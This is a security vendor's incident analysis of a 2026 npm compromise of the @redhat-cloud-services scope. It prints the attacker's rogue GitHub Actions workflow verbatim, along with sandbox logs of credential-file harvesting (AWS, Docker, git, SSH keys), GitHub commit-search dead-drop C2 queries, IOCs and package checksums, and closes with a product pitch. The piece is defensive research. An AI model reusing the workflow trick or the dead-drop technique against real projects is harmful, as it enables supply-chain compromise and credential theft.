Valid provenance, malicious package: anatomy of the Red Hat npm compromise

Attackers re-published 31 packages across the @redhat-cloud-services npm scope at least four times in one afternoon, every version carrying valid, signed SLSA provenance. How they mint genuine provenance for malware, what the payload does (captured first-hand), and why behavioral detection catches each re-arm in seconds.

Status: active and evolving. The counts, IOCs, and analysis here are as of 2026-06-01 14:25 UTC. The scope was still being re-armed at publication, and specifics (package count, C2 details) may change as the campaign continues and as other researchers report.

TL;DR

On 1 June 2026, attackers republished 31 packages across the official @redhat-cloud-services npm scope with an install-time malware payload, and as of 14:25 UTC it was still going: our firehose logged them re-armed at least four times in an afternoon, each burst climbing the version numbers as the registry purges the last. The detail worth your attention: the malicious versions carry valid, signed npm provenance. They pass an npm audit signatures / SLSA attestation check. Provenance proves where a build came from; it says nothing about what the build does.

We didn’t break this story: StepSecurity reported the scope and SafeDep documented the provenance-abuse technique two weeks earlier on the AntV wave. What our publish firehose adds is the real-time, provenance-blind catch, the first burst flagged within ~10 seconds and every later re-arm within seconds too, before any feed we track listed them.

What shipped

Our firehose logged 31 packages across the @redhat-cloud-services scope republished in at least four bursts in one afternoon, each climbing the version numbers as the registry purged the last (versions observed per burst, as of 2026-06-01 14:25 UTC):

Burst (UTC)Scope versions republished
10:54–10:5529
12:45–12:577
13:46–13:4732
14:23–14:2532 (latest observed; scope latest still malicious at our 14:25 UTC check)

Every version in every burst carries the same shape: a "preinstall": "node index.js" hook (absent from the prior clean release) and a ~4.4 MB root index.js, a packed numeric array decoded and handed to eval(), run on every npm install.

The scope publishes from more than one RedHatInsights repository via OIDC trusted publishing: the client packages from RedHatInsights/javascript-clients, the MCP servers from RedHatInsights/platform-frontend-ai-toolkit. So more than one CI pipeline was compromised. To dissect the mechanism we’ll use three packages from the first burst, the hcc-*-mcp servers: the ones the rogue workflow’s attestation names (the OIDC_PACKAGES list below), which makes them the cleanest specimen. Each went from a clean, script-free release to a poisoned one in a ~1.2-second window:

PackageLast goodFirst malicious
@redhat-cloud-services/hcc-feo-mcp0.3.00.3.1
@redhat-cloud-services/hcc-kessel-mcp0.3.00.3.1
@redhat-cloud-services/hcc-pf-mcp0.6.00.6.1

The provenance is genuine, not forged

The published SLSA attestation for each malicious version verifies, and attests a build that genuinely ran in GitHub Actions inside the real Red Hat repository:

predicateType : https://slsa.dev/provenance/v1
repository    : github.com/RedHatInsights/platform-frontend-ai-toolkit
workflow       : .github/workflows/release.yml
ref           : refs/heads/oidc-2530ec68
commit        : 0e948856c93d5de31c192171796ced937faee4cb

So how is the malware not in the repository? Because of three things that, read together, are the whole attack:

  1. main is clean. On the default branch, all three packages still sit at the last-good versions, with no install scripts. If you look at the repo, you see nothing wrong, which is exactly why this is easy to miss.

  2. The build ran from a throwaway branch that no longer exists. The provenance points at refs/heads/oidc-2530ec68. That branch is gone (404). Its build commit survives only because Git keeps unreferenced objects around: an orphan commit with no parents, containing just two files: a crafted .github/workflows/release.yml and a loader, _index.js. The real package source isn’t even in that commit. The commit is still fetchable by its SHA (parents: [], those two files and nothing else), so all of this is verifiable.

  3. The rogue workflow reused the trusted workflow’s identity. Here it is, fetched verbatim from that commit (action SHAs abbreviated):

    name: release
    on:
      push:
        branches: ['*']            # fire on ANY branch push
    jobs:
      release:
        runs-on: ubuntu-latest
        permissions:
          id-token: write          # mint OIDC -> npm trusted publish
          contents: read
        steps:
          - uses: actions/checkout@de0fac2…
          - uses: oven-sh/setup-bun@0c5077e…
          - name: prepare
            run: bun run _index.js
            env:
              OIDC_PACKAGES: "@redhat-cloud-services/hcc-feo-mcp, @redhat-cloud-services/hcc-kessel-mcp, @redhat-cloud-services/hcc-pf-mcp"
              WORKFLOW_ID: "release.yml"
              REPO_ID_SUFFIX: "RedHatInsights/platform-frontend-ai-toolkit"

    npm trusted publishing authorizes a publish based on the repository plus the workflow file path. The attacker named their malicious workflow release.yml, matching the trusted one, and set it to run on any branch push. Push the orphan branch, the workflow runs in the repo’s Actions context, requests an OIDC token, and npm mints a publish credential and a valid provenance attestation. Then delete the branch. Each re-arm burst repeats this from a fresh throwaway branch, which is why every malicious version we’ve seen, across every burst, carries verifying provenance.

The result: a package whose provenance truthfully says “built by GitHub Actions in Red Hat’s repo,” that is nonetheless malware. The attestation isn’t forged. It’s abused.

What’s confirmed, and what isn’t. The publish mechanism above is not a guess: the attestation and the orphan commit (workflow + loader intact) are both verifiable from public data. They prove a push-triggered workflow, running in-repo with id-token: write, minted the credential and the attestation. It was not a merge to main. What they do not reveal is the initial access: how the attacker got push rights to land that branch on the upstream repo to begin with. The commit carries a maintainer’s name, but Git authorship is trivially forgeable and the pushing identity isn’t recorded in the commit, so we draw no conclusion about who. That’s for Red Hat’s incident review, not a provenance file.

Why behavioral detection caught it anyway

We run an npm publish firehose: every newly published version is fetched and pushed through staged, sandboxed analysis: manifest detectors first, then a static bundle scan in a network-isolated, read-only container, with optional detonation. None of that asks “is the provenance valid?” It asks “what does this package do?”

Three detectors tripped on every malicious version, none of which looks at provenance:

  • preinstall-node-script: a new preinstall hook on a package that never had install scripts.
  • lifecycle-script-runs-main-js: that hook executing the package’s own entry point at install time.
  • scan_ast_eval_decoder: the static bundle scan finding obfuscated dynamic execution, a decoder feeding eval.

A subset also tripped a critical size_change as the tarball ballooned against its prior release. On an official-scope package that was clean one version ago, that combination is hard to read as anything benign.

In the first burst we flagged 28 of the 31 versions StepSecurity catalogued for it (our firehose directly observed 29 publishes in the 10:54–10:55 window; the rest were pulled before our fetch resolved them) within ~10–40 seconds of publish (manifest signals at ~10s, the static eval-decoder a few seconds behind), at 10:54:36 UTC, about an hour before the public report (StepSecurity’s GitHub issue at 11:56:59 UTC) and before any feed we track listed it. Every later re-arm we caught the same way: the live 14:23 burst was flagged within ~47 seconds. An LLM triage pass then confirmed and wrote up the reasoning. We reverse-engineered the orphan-branch mechanism above from public registry metadata, the provenance attestation, and the repo, with no special access; you can reproduce every claim here from the same sources.

Three versions in the first burst ([email protected] among them) were pulled within seconds of publish, before our fetch resolved which version had changed, so we first picked those up through feed corroboration rather than first-hand; hcc-feo-mcp we then caught cleanly in a later burst. Either way, every signal that mattered was in the artifact within seconds, with no reference to the provenance.

The provenance-abuse technique itself, abusing OIDC trusted publishing to mint genuine SLSA attestations from a throwaway branch, was first documented by SafeDep on the AntV wave two weeks earlier (see Prior coverage below).

What it does, first-hand

Earlier writeups, ours included, described the payload from the published Mini Shai-Hulud analyses rather than from a fresh trace. So we detonated a package from this wave ([email protected]) in an isolated microVM with its network sinkholed and TLS intercepted, and our agent attached inside the guest in observe mode, so it would log the full chain instead of stopping it. Three things stood out.

It is environment-gated. In a bare sandbox the payload barely moved: the install ran, the bootstrap executed, and it stopped. It only unpacked its full behavior when CI and GITHUB_ACTIONS were present in the environment. Same bytes, two runs: without the CI variables, a quiet no-op; with them, the full chain below. That is deliberate evasion and targeting. It wants a CI runner, not a researcher’s laptop, which is also why commodity sandboxing often never sees it act.

It went for credentials first. With the CI variables set, the agent’s LSM hooks recorded a Bun worker opening credential files within milliseconds: 24 opens against four targets, across three process generations (pids 725 / 745 / 764). Raw agent output, lightly trimmed (timestamps and container id removed):

{"level":"WARN","msg":"credential file access detected","comm":"Bun Pool 0","pid":725,"path":"/home/leitnpm/.aws/credentials"}
{"level":"WARN","msg":"credential file access detected","comm":"Bun Pool 0","pid":725,"path":"/home/leitnpm/.docker/config.json"}
{"level":"WARN","msg":"credential file access detected","comm":"Bun Pool 1","pid":725,"path":"/home/leitnpm/.git-credentials"}
{"level":"WARN","msg":"credential file access detected","comm":"Bun Pool 1","pid":725,"path":"/home/leitnpm/.ssh/id_rsa"}
... 24 cred-file opens in total, across pids 725 / 745 / 764 ...

We let those reads through because the agent was in observe mode. In enforce mode the same credwatch LSM returns -EPERM on that first .aws/credentials open() and kills the container, before the C2 stage below ever runs: the kill wins the race because open() is synchronous at the kernel while the network lookups are not. Observe mode is what let us watch the rest of the chain unfold.

The C2 is a GitHub dead-drop resolver, not a hardcoded host. It did not dial an attacker-owned domain or a raw IP: every outbound destination resolved through DNS first, with no cloud metadata-service probe. Instead it queried GitHub’s own commit-search API for two marker strings, using them to locate a drop-point commit. We answer api.github.com from a local sinkhole and intercept the TLS, so we capture the request with nothing leaving the box:

{"src":"fakenet","kind":"http_capture","host":"api.github.com","tls":true,"method":"GET",
 "path":"/search/commits?q=thebeautifulmarchoftime%20&sort=author-date&order=desc",
 "headers":{"User-Agent":"python-requests/2.31.0","Accept":"application/vnd.github+json"}}
{"src":"fakenet","kind":"http_capture","host":"api.github.com","tls":true,"method":"GET",
 "path":"/search/commits?q=IfYouInvalidateThisTokenItWillNukeTheComputerOfTheOwner&sort=author-date&order=desc&per_page=50",
 "headers":{"User-Agent":"python-requests/2.31.0","Accept":"application/vnd.github+json"}}

That capture tells us what was sent. The agent tells us who sent it: its DNS proxy logged the same lookup with the process behind it, the same Bun worker (pid 725) that opened the credential files:

{"domain":"api.github.com","action":"dns_observed","pid":725,"comm":"Bun Pool 0","binary_path":"/tmp/b-dHaoll/bun"}

Routing C2 through api.github.com is the point: it is a host nearly every CI environment already allows, so the lookup hides in ordinary traffic. (Same reason GitHub served as a useful fallback channel in earlier waves.) The python-requests/2.31.0 user agent is worth recording but not over-reading: a user agent is attacker-controlled, so it is either a genuine second-stage HTTP client or a deliberate disguise. We treat it as a huntable string, not as proof of a Python runtime.

Indicators of compromise

IndicatorValue
C2 channelapi.github.com/search/commits (GitHub commit-search dead-drop)
Marker query 1thebeautifulmarchoftime
Marker query 2IfYouInvalidateThisTokenItWillNukeTheComputerOfTheOwner
C2 request user agentpython-requests/2.31.0
Credential targets~/.aws/credentials, ~/.docker/config.json, ~/.git-credentials, ~/.ssh/id_rsa
Activation triggerCI / GITHUB_ACTIONS set in the environment

These IOCs are from the [email protected] sample we detonated; the attacker can rotate the marker strings and the dead-drop path between bursts, so the durable signature is the behavioral shape (env-gated credential harvest plus a GitHub commit-search dead-drop), not any single string. These markers are the resolver side of the dead-drop; public reporting documented the exfil side (stolen data written to commits via the GitHub Contents API) but not the markers, which the detonation recovered. While they last they are the most useful point artifact: searchable in GitHub’s commit search and audit log, and GitHub can purge the drop-point commits they resolve to. The full kill chain, now observed end to end: provenance abuse at publish, a bootstrap loader at install, an environment-gated second stage, credential harvest, then the GitHub commit-search dead-drop resolver, every outbound hop through DNS and no raw-IP fallback. Nothing left our box; the canary tokens were never exposed.

How far it spread

Shai-Hulud’s signature trait is self-propagation: steal a maintainer’s npm token, republish all of their packages, repeat from each new victim. This variant does not do that, and the reason is in the publisher field. Every malicious version was published by [email protected], the OIDC trusted-publishing identity, not a stolen personal token. That credential is scoped to one repository’s trusted-publisher config, so it can only re-arm the @redhat-cloud-services scope; it cannot jump to another maintainer’s packages. We swept our firehose for the payload’s three-signal fingerprint across the rest of npm and found it nowhere else.

The downstream blast radius is contained, too. By dependent count (deps.dev) these packages have tens of consumers, not thousands, and the named dependents are almost all Red Hat’s own ecosystem (insights-inventory-frontend, @patternfly/extended-components, the Foreman Insights plugin) plus automated registry mirrors. No high-traffic external package depends on them.

So the propagation risk is not the dependency graph or the publish mechanism. It is the credential harvest above: every CI runner that installs a poisoned version has its .aws, .ssh, .git, and .docker secrets read, and if one is a usable npm or GitHub token, that is the path to the next victim.

Takeaways

  • Provenance answers “where from,” not “is it safe.” SLSA attestations and trusted publishing are worth adopting: they make this specific abuse traceable after the fact, but they are not a malware check. Treating a valid attestation as a green light is the mistake.
  • Pin trusted publishing tightly. If your registry/CI supports it, constrain trusted publishing to a specific branch or tag ref and to release events, not push on ['*']. The gap here was that a workflow file name was trusted regardless of which branch it ran from.
  • Require a tag/release to match a publish. These malicious versions had no git tag and no GitHub release, while every legitimate release in the repo did. That mismatch is a cheap, strong tripwire.
  • Watch behavior at publish time. The decisive signals (a new preinstall, a giant obfuscated eval) were visible in the artifact within seconds of publish, independent of any trust metadata.
  • Pin consumers to integrity, and expect re-arming. This scope was re-poisoned at least four times in an afternoon; latest was malicious far more often than not. A lockfile pinned to a known-good integrity hash is what protects you while a campaign is live, long after the headline version is purged.
  • On CI runners, enforce, don’t just observe. A kernel agent that returns -EPERM on credential-file reads stops the harvest at the first open(), before the payload reaches its C2. The same hook in observe mode is what let us trace this end to end, but the runner that matters wants it enforcing.

The defense this post demonstrates is Leitwacht’s CE agent: it runs on your CI runners and stops install-time malice at the kernel, default-deny egress plus credential-access kills, no matter how clean a package’s provenance looks. It’s free and MPL-2.0. The same behavioral engine powers the npm publish firehose that caught this campaign in real time. If you run npm in CI, get in touch.


Compromised versions and checksums

The 31 versions from the first burst, as StepSecurity catalogued them, with the SHA-512 tarball integrity npm/package-lock.json verifies. Later bursts re-published the same packages under higher version numbers (chrome had reached 2.3.4 by the 14:23 burst and will keep climbing), so treat the whole scope as suspect, not just these exact versions. 28 of the integrity values are from our own capture at publish time; [email protected] (†) is a value recorded during disclosure, not from our own fetch, and is no longer re-verifiable; two were purged before any checksum was captured. Every version below is malicious: pin or roll back to the prior good release, and only unpack inside an isolated sandbox.

PackageVersionUnpacked sizeTarball integrity (SHA-512, base64)
@redhat-cloud-services/chrome2.3.14,165,742sha512-1idcdNrmQGoMNQha1/yoDKigqkrlqJ5v6tIFDKrqXJLN/Z4xqPxVGTmdzHnrz8qWFdyLeJRSlUTKL1YdGcA4Bg==
@redhat-cloud-services/compliance-client4.0.35,268,568sha512-AlIF6UCetTD45eW3xnstuKoNJeJIxJ70zkonX7KesDvj6s2JbE9BJHkr9L8/T3F84zbIEW6n1nAzkRqBtVHIUQ==
@redhat-cloud-services/config-manager-client5.0.44,329,448sha512-+Ov+ucLceVF1zxiVp1LnwGqvAFJW42m3rGLfR2mOqwjHnXbbjHRYIRKJoeeGq5sTxik6uiT+R5qK5BtTUAreow==
@redhat-cloud-services/entitlements-client4.0.114,231,899sha512-7/lQIUq4BMmZLdhjQDtjZUXAsoFlaTQ17Px6RuT8AIe2Vb9igYkRFDczdzyDemo80sW/zAbLUNaHXyE9Br1U5w==
@redhat-cloud-services/eslint-config-redhat-cloud-services3.2.14,157,712sha512-DmmUAJeaTvahJ4Kw6lwd2OY+SKgA+VuypUr1fXce9cjl2iBuVac0uuNWChsET9q9UYlMome7aokD4os8FGuR4Q==
@redhat-cloud-services/frontend-components7.7.25,140,528sha512-bAOwMULQetA8ZXaZWnjwyE72Eh7s2Ad9mmOJMm8DbfP7szuYzLfRXEiuDeRaWaNAsG/5k7bqSahyri2ZXY3oTg==
@redhat-cloud-services/frontend-components-advisor-components3.8.24,183,722sha512-6fKWd9yXUvN6PYqm8SRawQtvvdz5YhPa3qJfAVzxy4VZNsZZX2RY15xSVacoAvIg5bqCMVXaDrXqHOKax7flhQ==
@redhat-cloud-services/frontend-components-config6.11.3unavailable (purged before capture)
@redhat-cloud-services/frontend-components-config-utilities4.11.24,472,683sha512-phcx68xg5xoMlvTMIWnEJSlOFIopwMWGDFmExyfl4qGZHGUENqkRMhMW+RDU3/7Sjm3oVTeekZg92fmsuUf0aA==
@redhat-cloud-services/frontend-components-notifications6.9.24,368,308sha512-nEyZqqNvCRwml/Z1MSuSTn/+VP0T1YB7qyOwr5kbLttbj4vUqxFzWuDMUMdpheGgXGhQ+R+fBXHG2ZunjvMyNw==
@redhat-cloud-services/frontend-components-remediations4.9.24,318,392sha512-SO1YysjsTGTnd7srtofUNl6ydjEz1wgGflhqEGETMKqTmrS10qj8OFeT3j4E/41goSV9RBYqsPTA4fQbMDtFpA==
@redhat-cloud-services/frontend-components-testing1.2.14,310,402sha512-/AZJarwB/MODpzZq6AkgnHcQbrMnygwoXeJBrRuj5eKRd+OM1TEh4w84wyVoAnUc/50JBsOgkWodSdJ1RFu9+g==
@redhat-cloud-services/frontend-components-translations4.4.14,325,945sha512-hFH+19wv3vJUvob4clCqCDoM6yhejq8jehmBwfABCtBPbDqtW9KZjXIm2InCS4jpQaocfvbDhvdeCWRJZ05z3w==
@redhat-cloud-services/frontend-components-utilities7.4.14,624,539sha512-xCyuLS9oG+3f3HTjDCH0BH/j+/5w2N2lZpdKl2oC+s96zH7InTUmdUE03TZYBsi/ICoKgXiwh82XEyp8yCGGMA==
@redhat-cloud-services/hcc-feo-mcp0.3.14,437,053sha512-3+OgtS5UqQbSPmPHKQK0w2Vt3ycq1CKCpgO4uk0OUB5aNJEN1R48EbI5UXsJo4/8EXXFmUnYFet38KJbERox9g== †
@redhat-cloud-services/hcc-kessel-mcp0.3.14,372,385sha512-8UIVUPzxvdzwNrxTj7JtWGD2tf2IdnznTwFYLFyM2EMdoriwhHgoDvNQ1LtjPY9HKOrTTec/+37oTTaEDPWvGA==
@redhat-cloud-services/hcc-pf-mcp0.6.14,458,202sha512-kqYH7k7ac88eMCnzRO15Z/RDELI/y33vL9CEM+ry04q9UAFDjcmKbFg4L9PiKWHUPKkes2SfmFt9lyCyg+GSgw==
@redhat-cloud-services/host-inventory-client5.0.35,267,183sha512-ldq0DZWf4b01hMVNAOVClgnvzkzqUN0Ws6m8OEGuua9DMnduT4Hs9US7fFz/Da+tAZoIgcowhlH5NHoRHO4MWw==
@redhat-cloud-services/insights-client4.0.45,640,634sha512-IvCigD43EE61cYtxzz3GwCqx3ZhOqElHGuUSJhtrsAAWp8ZZbUWg+VRz9M99kqdWQz1rWXqXABp/SCWtoqz8kQ==
@redhat-cloud-services/integrations-client6.0.4unavailable (purged before capture)
@redhat-cloud-services/javascript-clients-shared2.0.84,412,476sha512-9x08AsbAw7ZRfCa9azKaWnjuQSl6hSNnL9w4L0GCyOlrVWUmuHX2wHRv9OBPWrV12I5oUseoijhKLOtdEA+KEQ==
@redhat-cloud-services/notifications-client6.1.44,757,073sha512-A3CEAeIatSfkE3mkcpFIcbUPFdAxmx13J3RRC18RjST2kczfstA77IJUMY8d9YGpjVpkogg2XXTl7bjbxAzC+g==
@redhat-cloud-services/patch-client4.0.45,410,796sha512-GN2lroAEbkEaU4cFFAXoPnItqt3nJs21o9LHEVOFYchdq0KfXkEYQWMHFTOjTJ6Erri21ABZEsUMD20FjQVPEw==
@redhat-cloud-services/quickstarts-client4.0.114,448,773sha512-dfIJpimjMyaITbuzH79EhT0tYqMCYosMNCeyyOfrjolw8/4AWX2QnixMLaHBnQBqQW8W2/eHpVczoDMTnckmyw==
@redhat-cloud-services/rbac-client9.0.35,350,787sha512-uSoxpFxMBd1/B9MmDdp9CqM7UhHCju+EcqyyHPcAheSxqcKdxGtrH7aanR1pimABO6PDyyRB1TEIiKgoh/brgw==
@redhat-cloud-services/remediations-client4.0.44,879,530sha512-Y1oJNgHL9c8hZwUmquGaZyTqNwayhqJdeFxKjRiYT41Tj+tGXsRClg7051gdApzdXWe486l0HuZ1cdm8POftzQ==
@redhat-cloud-services/rule-components4.7.24,515,121sha512-63v6f4l/kFNZLGWOmmMr4i8v9yMblNlLppq0PZL69mtI2PCh/IYXJgohhZKIKLVbc2rqja9gkqMMxQxwu9diRA==
@redhat-cloud-services/sources-client3.0.104,581,109sha512-GnrVRRq60j7iocMeAvQtC1kkvw2wpGUaEKUyA5DYAIVG82FfJ5xEfT1k+esfNm++L/NYYxw9+FLr+6IbWL9tqw==
@redhat-cloud-services/topological-inventory-client3.0.107,336,016sha512-eM7FZ6X2dF+UTXZulVx9AQDfTbM/iJDM/v3UTnb1I5/k+AOtdta2G4fe8FJiWsO4u8J2lj2YHPitQLtAbMt80w==
@redhat-cloud-services/tsc-transform-imports1.2.24,319,803sha512-uCvcc/OEFNDfEX2hqzjEGeISgjQHFpSCWzAU2OO0cpJuNRcXPdw9IlpIBbGurwvM1zt8O6NWVccjDC8qzkJ3eQ==
@redhat-cloud-services/types3.6.14,146,089sha512-xGQnN2YPCYwd4OAddrsxBjTHJY3rDsoA9Rcb7izrrohzoEbh7F5mN5SPLk/qXn75BCLSaWa5KI8LImD+tDWb/Q==

† Recorded during disclosure, not from our own capture; the version is unpublished, so it can no longer be re-fetched or independently re-verified.

Verifiable artifacts

  • Malicious versions (sha512 integrity), build provenance ref oidc-2530ec68 / commit 0e948856…, and the rogue release.yml are all readable from the public npm registry and GitHub. Inspect tarballs only in an isolated, network-disabled sandbox: they are live malware.

Prior coverage

LEITWACHT

Kernel-level egress enforcement and credential-theft detection for GitLab Runner.

© 2026 LeitWacht (Pty) Ltd. Open data plane. EU-hosted SaaS or your cluster.

no third-party analytics · self-hosted fonts · self-hosted edition keeps every byte in your cluster